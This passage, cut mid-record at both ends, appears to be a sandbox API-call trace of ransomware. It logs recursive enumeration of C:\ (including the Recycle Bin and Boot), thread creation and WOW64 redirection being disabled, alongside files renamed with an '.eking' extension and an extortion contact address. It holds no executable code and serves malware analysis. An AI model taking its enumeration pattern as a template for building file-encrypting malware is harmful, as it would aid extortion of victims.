out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0196.009] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0196.009] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0196.009] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0196.009] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0196.009] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0196.010] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0196.011] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0196.011] GetProcessHeap () returned 0x6a0000 [0196.011] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0196.013] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0196.014] GetProcessHeap () returned 0x6a0000 [0196.014] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0196.014] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0196.014] GetProcessHeap () returned 0x6a0000 [0196.015] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0196.015] FindClose (in: hFindFile=0x794e70 | out: hFindFile=0x794e70) returned 1 [0196.016] GetProcessHeap () returned 0x6a0000 [0196.016] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x710080 | out: hHeap=0x6a0000) returned 1 [0196.019] FindClose (in: hFindFile=0x6bd3c0 | out: hFindFile=0x6bd3c0) returned 1 [0196.020] GetProcessHeap () returned 0x6a0000 [0196.020] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ff070 | out: hHeap=0x6a0000) returned 1 [0196.020] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2c3fb3c*=0x180, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0196.199] CloseHandle (hObject=0x184) returned 1 [0196.199] CloseHandle (hObject=0x180) returned 1 [0196.200] GetProcessHeap () returned 0x6a0000 [0196.200] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb698 [0196.200] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0196.200] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0196.200] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0196.200] GetProcessHeap () returned 0x6a0000 [0196.200] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0196.200] GetProcessHeap () returned 0x6a0000 [0196.200] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eed60 | out: hHeap=0x6a0000) returned 1 [0196.201] CloseHandle (hObject=0x174) returned 1 [0196.201] CloseHandle (hObject=0x178) returned 1 [0196.201] CloseHandle (hObject=0x17c) returned 1 [0196.201] GetProcessHeap () returned 0x6a0000 [0196.201] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ded58 | out: hHeap=0x6a0000) returned 1 [0196.202] GetProcessHeap () returned 0x6a0000 [0196.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bcaa0 | out: hHeap=0x6a0000) returned 1 [0196.202] GetProcessHeap () returned 0x6a0000 [0196.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d44d0 | out: hHeap=0x6a0000) returned 1 [0196.202] GetProcessHeap () returned 0x6a0000 [0196.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0196.202] GetProcessHeap () returned 0x6a0000 [0196.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e08 | out: hHeap=0x6a0000) returned 1 [0196.202] GetProcessHeap () returned 0x6a0000 [0196.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bca00 | out: hHeap=0x6a0000) returned 1 Thread: id = 62 os_tid = 0x7b0 [0164.467] GetProcessHeap () returned 0x6a0000 [0164.467] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x38) returned 0x6fef78 [0164.467] GetProcessHeap () returned 0x6a0000 [0164.467] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bcb00 [0164.467] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x194 [0164.467] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x198 [0164.467] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x19c [0164.467] GetProcessHeap () returned 0x6a0000 [0164.467] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x731958 [0164.468] GetProcessHeap () returned 0x6a0000 [0164.468] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x741960 [0164.468] GetProcessHeap () returned 0x6a0000 [0164.468] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6fefb8 [0164.469] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0164.469] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0164.469] Wow64DisableWow64FsRedirection (in: OldValue=0x2e6fb3c | out: OldValue=0x2e6fb3c*=0x0) returned 1 [0164.469] GetProcessHeap () returned 0x6a0000 [0164.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fefb8 | out: hHeap=0x6a0000) returned 1 [0164.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2e6fb44, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0164.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2e6fb44, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0164.473] GetProcessHeap () returned 0x6a0000 [0164.473] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x751968 [0164.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6fefb8 [0164.474] GetProcessHeap () returned 0x6a0000 [0164.474] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x761970 [0164.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6feff8 [0164.474] FindNextFileW (in: hFindFile=0x6feff8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.474] FindNextFileW (in: hFindFile=0x6feff8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0164.474] GetProcessHeap () returned 0x6a0000 [0164.475] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x772980 [0164.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x782988 [0164.475] FindNextFileW (in: hFindFile=0x782988, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.475] FindNextFileW (in: hFindFile=0x782988, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xde7c2ea0, ftCreationTime.dwHighDateTime=0x1d696f3, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0164.475] FindNextFileW (in: hFindFile=0x782988, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0164.475] FindNextFileW (in: hFindFile=0x782988, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0164.475] FindClose (in: hFindFile=0x782988 | out: hFindFile=0x782988) returned 1 [0164.475] GetProcessHeap () returned 0x6a0000 [0164.475] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x772980 | out: hHeap=0x6a0000) returned 1 [0164.475] FindNextFileW (in: hFindFile=0x6feff8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0164.476] FindClose (in: hFindFile=0x6feff8 | out: hFindFile=0x6feff8) returned 1 [0164.476] GetProcessHeap () returned 0x6a0000 [0164.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x761970 | out: hHeap=0x6a0000) returned 1 [0164.476] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0164.476] GetProcessHeap () returned 0x6a0000 [0164.476] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x762978 [0164.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794de8 [0164.768] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.768] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0164.768] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0164.769] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0164.769] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0164.769] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6d66840, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x7d77cc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTST~1.EKI")) returned 1 [0164.769] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, 